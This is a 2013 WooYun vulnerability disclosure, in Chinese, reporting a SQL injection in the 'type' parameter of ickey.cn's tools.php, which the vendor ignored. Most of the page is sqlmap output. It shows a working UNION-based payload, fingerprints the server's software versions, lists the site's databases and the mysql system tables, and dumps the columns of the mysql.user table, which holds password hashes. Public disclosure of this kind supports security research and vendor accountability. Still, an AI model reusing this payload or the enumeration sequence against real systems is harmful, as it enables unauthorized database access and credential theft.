当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-025537

漏洞标题：ICKey元器件搜索平台SQL注入漏洞

相关厂商：ickey.cn

漏洞作者： lucky

提交时间：2013-06-09 14:33

修复时间：2013-06-14 14:34

公开时间：2013-06-14 14:34

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-09： 细节已通知厂商并且等待厂商处理中
2013-06-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://www.ickey.cn/tools.php?action=dlt&type=-1

漏洞证明：

---
Place: GET
Parameter: type
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: action=dlt&type=-1 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6270623a,0x614a475952416352534d,0x3a766c783a)#
---
[00:56:52] [INFO] testing MySQL
[00:56:52] [INFO] confirming MySQL
[00:56:53] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL >= 5.0.0
[00:56:53] [INFO] fetching database names
available databases [10]:
[*] db_tracemail
[*] ic_data
[*] ickey
[*] ickey_data
[*] ickeynew
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] union
Place: GET
Parameter: type
    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: action=dlt&type=-1 LIMIT 1,1 UNION ALL SELECT NULL, CONCAT(0x3a6270623a,0x614a475952416352534d,0x3a766c783a)#
---
[00:59:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL 5
[00:59:05] [INFO] fetching tables for database: 'mysql'
Database: mysql
[24 tables]
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
[01:00:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL 5
[01:00:38] [INFO] fetching columns for table 'user' in database 'mysql'
Database: mysql
Table: user
[42 columns]
+------------------------+-----------------------------------+
| Column                 | Type                              |
+------------------------+-----------------------------------+
| Alter_priv             | enum('N','Y')                     |
| Alter_routine_priv     | enum('N','Y')                     |
| authentication_string  | text                              |
| Create_priv            | enum('N','Y')                     |
| Create_routine_priv    | enum('N','Y')                     |
| Create_tablespace_priv | enum('N','Y')                     |
| Create_tmp_table_priv  | enum('N','Y')                     |
| Create_user_priv       | enum('N','Y')                     |
| Create_view_priv       | enum('N','Y')                     |
| Delete_priv            | enum('N','Y')                     |
| Drop_priv              | enum('N','Y')                     |
| Event_priv             | enum('N','Y')                     |
| Execute_priv           | enum('N','Y')                     |
| File_priv              | enum('N','Y')                     |
| Grant_priv             | enum('N','Y')                     |
| Host                   | char(60)                          |
| Index_priv             | enum('N','Y')                     |
| Insert_priv            | enum('N','Y')                     |
| Lock_tables_priv       | enum('N','Y')                     |
| max_connections        | int(11) unsigned                  |
| max_questions          | int(11) unsigned                  |
| max_updates            | int(11) unsigned                  |
| max_user_connections   | int(11) unsigned                  |
| Password               | char(41)                          |
| plugin                 | char(60)                          |
| Process_priv           | enum('N','Y')                     |
| References_priv        | enum('N','Y')                     |
| Reload_priv            | enum('N','Y')                     |
| Repl_client_priv       | enum('N','Y')                     |
| Repl_slave_priv        | enum('N','Y')                     |
| Select_priv            | enum('N','Y')                     |
| Show_db_priv           | enum('N','Y')                     |
| Show_view_priv         | enum('N','Y')                     |
| Shutdown_priv          | enum('N','Y')                     |
| ssl_cipher             | blob                              |
| ssl_type               | enum('','ANY','X509','SPECIFIED') |
| Super_priv             | enum('N','Y')                     |
| Trigger_priv           | enum('N','Y')                     |
| Update_priv            | enum('N','Y')                     |
| User                   | char(16)                          |
| x509_issuer            | blob                              |
| x509_subject           | blob                              |
+------------------------+-----------------------------------+

修复方案：

版权声明：转载请注明来源 lucky@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-06-14 14:34

厂商回复：

最新状态：

暂无